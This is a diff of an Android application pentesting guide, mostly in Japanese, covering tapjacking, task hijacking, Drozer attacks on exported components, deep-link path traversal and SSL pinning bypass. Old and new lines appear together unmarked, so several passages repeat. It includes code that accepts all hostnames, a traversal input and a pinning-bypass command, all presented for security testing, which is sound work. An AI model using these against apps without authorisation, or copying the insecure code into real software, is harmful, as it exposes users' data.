**タップジャッキング**は、**悪意のある** **アプリケーション**が起動され、**被害者アプリケーションの上に位置する**攻撃です。被害者アプリを視覚的に隠すと、そのユーザーインターフェースはユーザーを騙してそれに対話させるように設計されており、実際には被害者アプリに対する操作を渡しています。\
実際には、**ユーザーが被害者アプリで実際に操作を行っていることを知らないようにしています**。
詳細情報は以下を参照してください:
@ -87,7 +87,7 @@ tapjacking.md
### タスクハイジャック
**`launchMode`**が**`singleTask`**に設定され、`taskAffinity`が定義されていない**アクティビティ**は、タスクハイジャックに対して脆弱です。これは、**アプリケーション**がインストールされ、実際のアプリケーションの前に起動されると、**実際のアプリケーションのタスクをハイジャックする**可能性があることを意味します(つまり、ユーザーは**悪意のあるアプリケーションと対話していると思っている**)。
**`launchMode`**が**`singleTask`**に設定され、`taskAffinity`が定義されていない**アクティビティ**は、タスクハイジャックに対して脆弱です。これは、**アプリケーション**がインストールされ、実際のアプリケーションの前に起動されると、**実際のアプリケーションのタスクをハイジャックする**可能性があることを意味します(つまり、ユーザーは**悪意のあるアプリケーションを使用していると思い込んでいる**)。
詳細情報は以下を参照してください:
@ -102,9 +102,9 @@ android-task-hijacking.md
Androidでは、**内部**ストレージに**保存された**ファイルは、**作成した**アプリのみが**アクセスできる**ように**設計されています**。このセキュリティ対策はAndroidオペレーティングシステムによって**強制され**、ほとんどのアプリケーションのセキュリティニーズには一般的に十分です。しかし、開発者は時折、`MODE_WORLD_READABLE``MODE_WORLD_WRITABLE`のようなモードを利用して、ファイルを異なるアプリケーション間で**共有**できるようにします。しかし、これらのモードは、他のアプリケーション(潜在的に悪意のあるものを含む)によるこれらのファイルへのアクセスを**制限しません**。
1. **静的分析:**
- `MODE_WORLD_READABLE`および`MODE_WORLD_WRITABLE`の使用が**注意深く検討されるべきです**。これらのモードは、**意図しないまたは不正なアクセス**にファイルを**さらす可能性があります**。
- `MODE_WORLD_READABLE`および`MODE_WORLD_WRITABLE`の使用が**注意深く精査されるべきです**。これらのモードは、**意図しないまたは不正なアクセス**にファイルを**さらす可能性があります**。
2. **動的分析:**
- アプリによって作成されたファイルに設定された**権限**を**確認**します。特に、ファイルが**全世界に対して読み取りまたは書き込み可能に設定されているかどうかを確認**します。これは重大なセキュリティリスクを引き起こす可能性があり、デバイスにインストールされた**任意のアプリケーション**が、出所や意図に関係なく、これらのファイルを**読み取ったり変更したり**できるようになります。
- アプリによって作成されたファイルに設定された**権限**を**確認**します。特に、ファイルが**全世界に対して読み取りまたは書き込み可能に設定されているかどうかを**確認します。これは重大なセキュリティリスクを引き起こす可能性があり、デバイスにインストールされた**任意のアプリケーション**が、出所や意図に関係なく、これらのファイルを**読み取ったり変更したり**できるようになります。
**外部ストレージ**
@ -118,7 +118,7 @@ Androidでは、**内部**ストレージに**保存された**ファイルは
3. **外部ストレージからのデータ処理**:
- 外部ストレージから取得したデータに対しては常に**入力検証を行う**必要があります。これは、データが信頼できないソースからのものであるため、重要です。
- 外部ストレージに実行可能ファイルやクラスファイルを保存して動的に読み込むことは強く推奨されません。
- アプリケーションが外部ストレージから実行可能ファイルを取得する必要がある場合、これらのファイルが**署名され、暗号的に検証されていることを確認**してから動的に読み込む必要があります。このステップは、アプリケーションのセキュリティの整合性を維持するために重要です。
- アプリケーションが外部ストレージから実行可能ファイルを取得する必要がある場合、これらのファイルが**署名され、暗号的に検証されていることを確認してください**。このステップは、アプリケーションのセキュリティの整合性を維持するために重要です。
外部ストレージは、`/storage/emulated/0``/sdcard``/mnt/sdcard`で**アクセス可能**です。
@ -134,75 +134,75 @@ Androidでは、**内部**ストレージに**保存された**ファイルは
**すべての証明書を受け入れる**
何らかの理由で、開発者がホスト名がコードの行と一致しない場合でも、すべての証明書を受け入れることがあります。
何らかの理由で、開発者がホスト名が一致しない場合でも、すべての証明書を受け入れることがあります。以下のようなコード行が含まれます:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
```
良いテスト方法は、デバイス内でBurp CAを承認せずにBurpのようなプロキシを使用してトラフィックをキャプチャしようとすることです。また、Burpを使用して異なるホスト名の証明書を生成し、それを使用することもできます。
A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it.
### 壊れた暗号化
### Broken Cryptography
**不適切なキー管理プロセス**
**Poor Key Management Processes**
一部の開発者は、機密データをローカルストレージに保存し、コード内にハードコーディングされた/予測可能なキーで暗号化します。これは、リバースエンジニアリングにより攻撃者が機密情報を抽出できる可能性があるため、行うべきではありません。
一部の開発者は、ローカルストレージに機密データを保存し、コード内にハードコーディングされた/予測可能なキーで暗号化します。これは、リバースエンジニアリングにより攻撃者が機密情報を抽出できる可能性があるため、行うべきではありません。
**安全でないおよび/または廃止されたアルゴリズムの使用**
**Use of Insecure and/or Deprecated Algorithms**
開発者は、認証**チェック**、**保存**、または**送信**データを行うために**廃止されたアルゴリズム**を使用すべきではありません。これらのアルゴリズムには、RC4、MD4、MD5、SHA1などがあります。たとえば、パスワードを保存するために**ハッシュ**が使用される場合、ソルトを使用したハッシュのブルートフォース**耐性**が必要です。
開発者は、認証チェック、データの保存または送信を行うために**非推奨のアルゴリズム**を使用すべきではありません。これらのアルゴリズムには、RC4、MD4、MD5、SHA1などがあります。例えば、パスワードを保存するために**ハッシュ**を使用する場合、ソルトを使用したハッシュのブルートフォース耐性が必要です。
### その他のチェック
### Other checks
- 攻撃者のリバースエンジニアリング作業を困難にするために、**APKを難読化する**ことを推奨します。
- アプリが機密性が高い場合(銀行アプリなど)、**モバイルがルート化されているかどうかを確認する独自のチェックを実行**し、結果に応じて行動する必要があります。
- アプリが機密性が高い場合(銀行アプリなど)、**エミュレーター**が使用されているかどうかを確認する必要があります。
- APKを**難読化する**ことを推奨します。これにより、攻撃者のリバースエンジニアリング作業が困難になります。
- アプリが機密性が高い場合(銀行アプリなど)、**モバイルがルート化されているかどうかを確認する独自のチェックを実行**し、適切に対処する必要があります。
- アプリが機密性が高い場合(銀行アプリなど)、**エミュレーターが使用されているかどうかを確認**する必要があります。
- アプリが機密性が高い場合(銀行アプリなど)、**実行前に自身の整合性を確認**し、変更されていないかを確認する必要があります。
- [**APKiD**](https://github.com/rednaga/APKiD)を使用して、APKをビルドするために使用されたコンパイラ/パッカー/難読化ツールを確認します。
### React Nativeアプリケーション
### React Native Application
ReactアプリケーションのJavaScriptコードに簡単にアクセスする方法については、以下のページをお読みください
Read the following page to learn how to easily access javascript code of React applications:
{{#ref}}
react-native-application.md
{{#endref}}
### Xamarinアプリケーション
### Xamarin Applications
XamarinアプリケーションのC#コードに簡単にアクセスする方法については、以下のページをお読みください:
Read the following page to learn how to easily access C# code of a xamarin applications:
{{#ref}}
../xamarin-apps.md
{{#endref}}
### スーパー圧縮アプリケーション
### Superpacked Applications
この[**ブログ記事**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/)によると、スーパー圧縮はアプリケーションの内容を単一のファイルに圧縮するメタアルゴリズムです。このブログでは、これらのアプリを解凍するアプリを作成する可能性について話しています... そして、**アプリケーションを実行してファイルシステムから解凍されたファイルを収集する**というより速い方法についても言及しています。
According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.**
### 自動静的コード分析
### Automated Static Code Analysis
ツール[**mariana-trench**](https://github.com/facebook/mariana-trench)は、アプリケーションの**コード**を**スキャン**することによって**脆弱性**を見つけることができます。このツールには、**ユーザーによって制御される**入力の**場所**を示す一連の**既知のソース**、悪意のあるユーザー入力が損害を引き起こす可能性のある**危険な****場所**を示す**シンク**、および**ルール**が含まれています。これらのルールは、脆弱性を示す**ソース-シンク**の**組み合わせ**を示します。
The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability.
この知識をもとに、**mariana-trenchはコードをレビューし、可能な脆弱性を見つけます**。
With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**.
### 漏洩した秘密
### Secrets leaked
アプリケーションには、あなたが発見できるかもしれない秘密APIキー、パスワード、隠されたURL、サブドメインなどが含まれている可能性があります。ツール[https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)を使用できます。
An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
### 生体認証のバイパス
### Bypass Biometric Authentication
{{#ref}}
bypass-biometric-authentication-android.md
{{#endref}}
### その他の興味深い機能
### Other interesting functions
- **コード実行**: `Runtime.exec(), ProcessBuilder(), native code:system()`
- **SMS送信**: `sendTextMessage, sendMultipartTestMessage`
- **ネイティブ関数**として宣言された`native`: `public native, System.loadLibrary, System.load`
- [ネイティブ関数を**リバースエンジニアリングする方法**を学ぶにはこちらをお読みください](reversing-native-libraries.md)
- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()`
- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load`
- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md)
### **その他のトリック**
### **Other tricks**
{{#ref}}
content-protocol.md
@ -212,120 +212,120 @@ content-protocol.md
---
## 動的分析
## Dynamic Analysis
> まず、アプリケーションとすべての環境主にBurp CA証明書、Drozer、Fridaをインストールできる環境が必要です。したがって、ルート化されたデバイスエミュレートされたかどうかにかかわらずが非常に推奨されます。
> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended.
### オンライン動的分析
### Online Dynamic analysis
[https://appetize.io/](https://appetize.io)で**無料アカウント**を作成できます。このプラットフォームでは、APKを**アップロード**して**実行**できるため、APKの動作を確認するのに便利です。
You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving.
アプリケーションの**ログをウェブで確認**し、**adb**を介して接続することもできます。
You can even **see the logs of your application** in the web and connect through **adb**.
![](<../../images/image (831).png>)
ADB接続のおかげで、エミュレーター内で**Drozer**と**Frida**を使用できます。
Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators.
### ローカル動的分析
### Local Dynamic Analysis
#### エミュレーターを使用する
#### Using an emulator
- [**Android Studio**](https://developer.android.com/studio)**x86**および**arm**デバイスを作成でき、[**これ**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**最新のx86**バージョンは**ARMライブラリ**をサポートしています。遅いarmエミュレーターは必要ありません
- このページで設定方法を学びます:
- [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator).
- Learn to set it up in this page:
{{#ref}}
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(無料版:** Personal Edition、アカウントを作成する必要があります。_潜在的なエラーを避けるために、**VirtualBox**を含むバージョンを**ダウンロード**することを推奨します。_)
- [**Nox**](https://es.bignox.com)無料ですが、FridaやDrozerはサポートしていません
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._)
- [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer).
> [!NOTE]
> 新しいエミュレーターを作成する際は、画面が大きいほどエミュレーターの動作が遅くなることを覚えておいてください。可能であれば、小さい画面を選択してください。
> When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible.
GenymotionにGoogleサービスAppStoreなどをインストールするには、以下の画像の赤でマークされたボタンをクリックする必要があります
To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image:
![](<../../images/image (277).png>)
また、Genymotionの**Android VMの設定**で**ブリッジネットワークモード**を選択できることに注意してくださいこれは、ツールを使用して異なるVMからAndroid VMに接続する場合に便利です
Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools).
#### 物理デバイスを使用する
#### Use a physical device
**デバッグ**オプションを有効にする必要があり、**ルート化**できると良いでしょう:
You need to activate the **debugging** options and it will be cool if you can **root** it:
1. **設定**。
2. (Android 8.0以降) **システム**を選択。
3. **電話について**を選択。
4. **ビルド番号**を7回押します。
5. 戻ると、**開発者オプション**が表示されます。
1. **Settings**.
2. (FromAndroid 8.0) Select **System**.
3. Select **About phone**.
4. Press **Build number** 7 times.
5. Go back and you will find the **Developer options**.
> アプリケーションをインストールしたら、最初に行うべきことは、それを試して、何をするのか、どのように機能するのかを調査し、快適に感じることです。\
> **MobSF動的分析 + pidcat**を使用してこの初期動的分析を実行することをお勧めします。これにより、MobSFが後でレビューできる多くの**興味深い**データを**キャプチャ**しながら、**アプリケーションの動作を学ぶ**ことができます。
> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\
> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on.
### 意図しないデータ漏洩
### Unintended Data Leakage
**ログ記録**
**Logging**
開発者は、**デバッグ情報**を公開することに注意すべきです。これは機密データの漏洩につながる可能性があります。アプリケーションログを監視して機密情報を特定し保護するために、ツール[**pidcat**](https://github.com/JakeWharton/pidcat)と`adb logcat`を推奨します。**Pidcat**は、その使いやすさと可読性から好まれます。
開発者は、**デバッグ情報**を公開することに注意すべきです。これは機密データの漏洩につながる可能性があります。アプリケーションログを監視して機密情報を特定し保護するために、[**pidcat**](https://github.com/JakeWharton/pidcat)と`adb logcat`を推奨します。**Pidcat**は使いやすさと可読性のために好まれます。
> [!WARNING]
> **Android 4.0以降**、**アプリケーションは自分のログにのみアクセスできる**ことに注意してください。したがって、アプリケーションは他のアプリのログにアクセスできません。\
> それでも、**機密情報をログに記録しない**ことを推奨します。
**コピー/ペーストバッファキャッシュ**
**Copy/Paste Buffer Caching**
Androidの**クリップボードベース**のフレームワークは、アプリ内でのコピー&ペースト機能を可能にしますが、**他のアプリケーション**がクリップボードに**アクセス**できるため、機密データが漏洩するリスクがあります。クレジットカードの詳細など、アプリケーションの機密セクションに対して**コピー/ペースト**機能を無効にすることが重要です。
Androidの**クリップボードベース**のフレームワークは、アプリ内でのコピー&ペースト機能を可能にしますが、**他のアプリケーション**がクリップボードにアクセスできるため、機密データが漏洩するリスクがあります。クレジットカードの詳細など、アプリケーションの機密セクションでは**コピー/ペースト**機能を無効にすることが重要です。
**クラッシュログ**
**Crash Logs**
アプリケーションが**クラッシュ**し、**ログを保存**する場合、これらのログは攻撃者に役立つ可能性があります。特にアプリケーションがリバースエンジニアリングできない場合はそうです。このリスクを軽減するために、クラッシュ時にログを記録しないようにし、ログをネットワーク経由で送信する必要がある場合は、SSLチャネルを介して送信されることを確認してください。
アプリケーションが**クラッシュ**し、**ログを保存**する場合、これらのログは攻撃者に役立つ可能性があります。特にアプリケーションがリバースエンジニアリングできない場合はそうです。このリスクを軽減するために、クラッシュ時にログを記録しないようにし、ログをネットワーク経由で送信する必要がある場合は、SSLチャネルを介して送信するようにしてください。
ペンテスターとして、**これらのログを確認することをお勧めします**。
**第三者に送信される分析データ**
**Analytics Data Sent To 3rd Parties**
アプリケーションは、Google Adsenseのようなサービスを統合することが多く、開発者による不適切な実装により機密データが**漏洩する**可能性があります。潜在的なデータ漏洩を特定するために、**アプリケーションのトラフィックを傍受し**、第三者サービスに送信される機密情報がないか確認することをお勧めします。
アプリケーションは、Google Adsenseなどのサービスを統合することが多く、開発者による不適切な実装により機密データが**漏洩する**可能性があります。潜在的なデータ漏洩を特定するために、アプリケーションのトラフィックを**インターセプト**し、第三者サービスに送信される機密情報がないか確認することをお勧めします。
### SQLite DB
### SQLite DBs
ほとんどのアプリケーションは、情報を保存するために**内部SQLiteデータベース**を使用します。ペンテスト中に作成された**データベース**、**テーブル**および**カラム**の名前、保存されたすべての**データ**を確認してください。機密情報(脆弱性となる可能性があります)を見つけることができるかもしれません。\
データベースは`/data/data/the.package.name/databases`に位置し、例として`/data/data/com.mwr.example.sieve/databases`のようになります。
ほとんどのアプリケーションは、情報を保存するために**内部SQLiteデータベース**を使用します。ペンテスト中は、作成された**データベース**、**テーブル**と**カラム**の名前、保存されたすべての**データ**を確認してください。機密情報(脆弱性となる可能性があります)を見つけることができるかもしれません。\
データベースは`/data/data/the.package.name/databases`に位置し、例えば`/data/data/com.mwr.example.sieve/databases`のようになります。
データベースが機密情報を保存しており、**暗号化されている**が、アプリケーション内に**パスワード**が見つかる場合、それでも**脆弱性**です。
`.tables`を使用してテーブルを列挙し、`.schema <table_name>`を実行してテーブルのカラムを列挙します。
### Drozer(エクスプロイトアクティビティ、コンテンツプロバイダーおよびサービス)
### Drozer (Exploit Activities, Content Providers and Services)
[Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)から:**Drozer**は、**Androidアプリの役割を引き受け**、他のアプリと対話することを可能にします。これは、インストールされたアプリケーションができることは何でも行うことができ、Androidのプロセス間通信IPCメカニズムを利用し、基盤となるオペレーティングシステムと対話することができます。\
Drozerは、**エクスポートされたアクティビティ、エクスポートされたサービス、およびコンテンツプロバイダーを**エクスプロイトするための便利なツールです。次のセクションで学ぶことになります。
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Androids Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\
Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections.
### エクスポートされたアクティビティのエクスプロイト
### Exploiting exported Activities
[**Androidアクティビティとは何かをリフレッシュしたい場合は、こちらをお読みください。**](android-applications-basics.md#launcher-activity-and-other-activities)\
また、アクティビティのコードは**`onCreate`**メソッドから始まることを覚えておいてください。
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Also remember that the code of an activity starts in the **`onCreate`** method.
**認証バイパス**
**Authorisation bypass**
アクティビティがエクスポートされると、外部アプリからその画面を呼び出すことができます。したがって、**機密情報**を含むアクティビティが**エクスポート**されている場合、**認証**メカニズムを**バイパス**してアクセスすることができます。
Activityがエクスポートされると、外部アプリからその画面を呼び出すことができます。したがって、**機密情報**を含むActivityが**エクスポート**されている場合、**認証**メカニズムを**バイパス**してアクセスすることができます。
[**Drozerを使用してエクスポートされたアクティビティをエクスプロイトする方法を学びます。**](drozer-tutorial/index.html#activities)
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
adbからエクスポートされたアクティビティを開始することもできます
You can also start an exported activity from adb:
- パッケージ名はcom.example.demoです
- エクスポートされたアクティビティ名はcom.example.test.MainActivityです
- PackageName is com.example.demo
- Exported ActivityName is com.example.test.MainActivity
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**注意**: MobSFは、アクティビティの`android:launchMode`における_**singleTask/singleInstance**_の使用を悪意のあるものとして検出しますが、[これ](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)によると、これは古いバージョンAPIバージョン< 21でのみ危険なようです
> [!NOTE]
> 認証バイパスは常に脆弱性ではないことに注意してください。バイパスの動作とどの情報が露出しているかによります。
> 認証バイパスは常に脆弱性ではないことに注意してください。バイパスの動作とどの情報が公開されているかによります。
**機密情報の漏洩**
**アクティビティは結果を返すこともできます**。もし、**`setResult`**メソッドを呼び出し、**機密情報を返す**エクスポートされた保護されていないアクティビティを見つけることができれば、機密情報の漏洩があります。
**アクティビティは結果を返すこともできます**。もし、エクスポートされていて保護されていないアクティビティが**`setResult`**メソッドを呼び出し、**機密情報を返している**場合、機密情報の漏洩があります。
#### タップジャッキング
@ -333,36 +333,36 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
### **コンテンツプロバイダーの悪用 - 機密情報へのアクセスと操作**
[**コンテンツプロバイダーについて復習したい場合は、こちらをお読みください。**](android-applications-basics.md#content-provider)\
[**コンテンツプロバイダーについて復習したい場合はこれをお読みください。**](android-applications-basics.md#content-provider)\
コンテンツプロバイダーは基本的に**データを共有する**ために使用されます。アプリに利用可能なコンテンツプロバイダーがある場合、そこから**機密データを抽出**できるかもしれません。また、**SQLインジェクション**や**パストラバーサル**の可能性をテストすることも興味深いです。これらは脆弱である可能性があります。
[**Drozerを使用してコンテンツプロバイダーを悪用する方法を学びましょう。**](drozer-tutorial/index.html#content-providers)
[**Drozerを使てコンテンツプロバイダーを悪用する方法を学びましょう。**](drozer-tutorial/index.html#content-providers)
### **サービスの悪用**
[**サービスについて復習したい場合は、こちらをお読みください。**](android-applications-basics.md#services)\
[**サービスについて復習したい場合はこれをお読みください。**](android-applications-basics.md#services)\
サービスのアクションは`onStartCommand`メソッドで開始されることを覚えておいてください。
サービスは基本的に**データを受信**し、**処理**し、**応答**(またはしない)を返すことができるものです。したがって、アプリケーションがいくつかのサービスをエクスポートしている場合は、**コードを確認**して何をしているのかを理解し、**動的にテスト**して機密情報を抽出したり、認証手段をバイパスしたりする必要があります。\
[**Drozerを使用してサービスを悪用する方法を学びましょう。**](drozer-tutorial/index.html#services)
サービスは基本的に**データを受信**し、**処理**し、**応答**(またはしない)を返すものです。したがって、アプリケーションがいくつかのサービスをエクスポートしている場合は、**コードを確認**して何をしているのかを理解し、**動的にテスト**して機密情報を抽出したり、認証手段をバイパスしたりする必要があります。\
[**Drozerを使てサービスを悪用する方法を学びましょう。**](drozer-tutorial/index.html#services)
### **ブロードキャストレシーバーの悪用**
[**ブロードキャストレシーバーについて復習したい場合は、こちらをお読みください。**](android-applications-basics.md#broadcast-receivers)\
[**ブロードキャストレシーバーについて復習したい場合はこれをお読みください。**](android-applications-basics.md#broadcast-receivers)\
ブロードキャストレシーバーのアクションは`onReceive`メソッドで開始されることを覚えておいてください。
ブロードキャストレシーバーは特定のメッセージを待機しています。レシーバーがメッセージをどのように処理するかによって、脆弱性が生じる可能性があります。\
[**Drozerを使用してブロードキャストレシーバーを悪用する方法を学びましょう。**](#exploiting-broadcast-receivers)
[**Drozerを使てブロードキャストレシーバーを悪用する方法を学びましょう。**](#exploiting-broadcast-receivers)
### **スキーム/ディープリンクの悪用**
### **スキーム / ディープリンクの悪用**
ディープリンクを手動で探すことができ、MobSFのようなツールや[このスクリプト](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)を使用できます。\
手動でディープリンクを探すことができ、MobSFのようなツールや[このスクリプト](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)を使用できます。\
**adb**や**ブラウザ**を使用して宣言された**スキーム**を**開く**ことができます:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
_パッケージ名を**省略する**ことができ、モバイルは自動的にそのリンクを開くべきアプリを呼び出します。_
```markup
```html
<!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a>
<!-- fallback in your url you could try the intent url -->
@ -370,7 +370,7 @@ _パッケージ名を**省略する**ことができ、モバイルは自動的
```
**実行されるコード**
**アプリで実行されるコード**を見つけるために、ディープリンクによって呼び出されるアクティビティに移動し、関数**`onNewIntent`**を検索します。
**アプリで実行されるコードを見つけるために**、ディープリンクによって呼び出されるアクティビティに移動し、関数**`onNewIntent`**を検索します。
![](<../../images/image (436) (1) (1) (1).png>)
@ -381,7 +381,7 @@ _パッケージ名を**省略する**ことができ、モバイルは自動的
**パス内のパラメータ**
**URLのパス内でパラメータを使用しているディープリンクがあるかどうかも確認する必要があります**。例えば、`https://api.example.com/v1/users/{username}` のように。この場合、`example://app/users?username=../../unwanted-endpoint%3fparam=value` のようにパスのトラバーサルを強制することができます。\
アプリケーション内で正しいエンドポイントを見つけた場合、**オープンリダイレクト**(パスの一部がドメイン名として使用される場合)、**アカウント乗っ取り**CSRFトークンなしでユーザーの詳細を変更でき、脆弱なエンドポイントが正しいメソッドを使用している場合、およびその他の脆弱性を引き起こす可能性があります。詳細については[こちら](http://dphoeniixx.com/2020/12/13-2/)を参照してください。
アプリケーション内で正しいエンドポイントを見つけると、**オープンリダイレクト**(パスの一部がドメイン名として使用される場合)、**アカウント乗っ取り**CSRFトークンなしでユーザーの詳細を変更でき、脆弱なエンドポイントが正しいメソッドを使用している場合、およびその他の脆弱性を引き起こす可能性があります。詳細は[こちら](http://dphoeniixx.com/2020/12/13-2/)を参照してください。
**さらなる例**
@ -395,7 +395,7 @@ _パッケージ名を**省略する**ことができ、モバイルは自動的
#### 証明書の検証
**証明書の検証**に焦点を当てます。サーバーの証明書の整合性を確認することは、セキュリティを強化するために重要です。これは、安全でないTLS構成や暗号化されていないチャネルを介して機密データを送信することが重大なリスクをもたらすため、重要です。サーバー証明書の検証と脆弱性への対処に関する詳細な手順については、[**このリソース**](https://manifestsecurity.com/android-application-security-part-10/)が包括的なガイダンスを提供します。
**証明書の検証**に焦点を当てます。サーバーの証明書の整合性を確認することは、セキュリティを強化するために重要です。これは、安全でないTLS構成や暗号化されていないチャネルを介して機密データを送信することが重大なリスクをもたらすため、重要です。サーバー証明書の検証と脆弱性への対処に関する詳細な手順は、[**このリソース**](https://manifestsecurity.com/android-application-security-part-10/)で包括的に説明されています。
#### SSLピンニング
@ -403,18 +403,18 @@ SSLピンニングは、アプリケーションがサーバーの証明書を
#### トラフィックの検査
HTTPトラフィックを検査するには、**プロキシツールの証明書をインストールする必要があります**Burp。この証明書をインストールしないと、暗号化されたトラフィックはプロキシを通じて表示されない可能性があります。カスタムCA証明書のインストールに関するガイドについては、[**こちらをクリック**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)してください。
HTTPトラフィックを検査するには、**プロキシツールの証明書をインストールする必要があります**Burp。この証明書をインストールしないと、暗号化されたトラフィックはプロキシを通じて表示されない可能性があります。カスタムCA証明書のインストールに関するガイドは、[**こちらをクリック**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)してください。
**APIレベル24以上**をターゲットとするアプリケーションは、プロキシのCA証明書を受け入れるためにネットワークセキュリティ構成を変更する必要があります。このステップは、暗号化されたトラフィックを検査するために重要です。ネットワークセキュリティ構成の変更に関する指示については、[**このチュートリアルを参照**](make-apk-accept-ca-certificate.md)してください
**APIレベル24以上**をターゲットとするアプリケーションは、プロキシのCA証明書を受け入れるためにネットワークセキュリティ構成を変更する必要があります。このステップは、暗号化されたトラフィックを検査するために重要です。ネットワークセキュリティ構成の変更に関する指示は、[**このチュートリアルを参照してください**](make-apk-accept-ca-certificate.md)。
#### SSLピンニングのバイパス
SSLピンニングが実装されている場合、HTTPSトラフィックを検査するためにそれをバイパスする必要があります。この目的のためにさまざまな方法があります
- 自動的に**apkを修正**して**SSLピンニングをバイパス**するには、[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)を使用します。このオプションの最大の利点は、SSLピンニングをバイパスするためにrootが必要ないことですが、アプリケーションを削除して新しいものを再インストールする必要があり、これが常に機能するわけではありません。
- **Frida**を使用してこの保護をバイパスすることもできます(以下で説明)。Burp+Frida+Genymotionを使用するためのガイドはこちらです[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- **objection**を使用して**SSLピンニングを自動的にバイパス**することも試みることができます:`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- **MobSF動的分析**を使用して**SSLピンニングを自動的にバイパス**することも試みることができます(下で説明)。
- **Frida**(下記で説明)を使用してこの保護をバイパスすることもできます。Burp+Frida+Genymotionを使用するためのガイドはこちらです[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- **objection**を使用して**SSLピンニングを自動的にバイパス**することもできます:`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- **MobSF動的分析**を使用して**SSLピンニングを自動的にバイパス**することも試みることができます(下で説明)。
- まだキャプチャしていないトラフィックがあると思われる場合は、**iptablesを使用してトラフィックをburpに転送**することを試みることができます。このブログを読んでください:[https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### 一般的なWeb脆弱性の検索
@ -430,8 +430,8 @@ Androidアプリケーションをペンテストするには、Fridaの使い
- Fridaの使い方を学ぶ[**Fridaチュートリアル**](frida-tutorial/index.html)
- Fridaでのアクション用の「GUI」[**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- OjectionはFridaの使用を自動化するのに最適です[**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
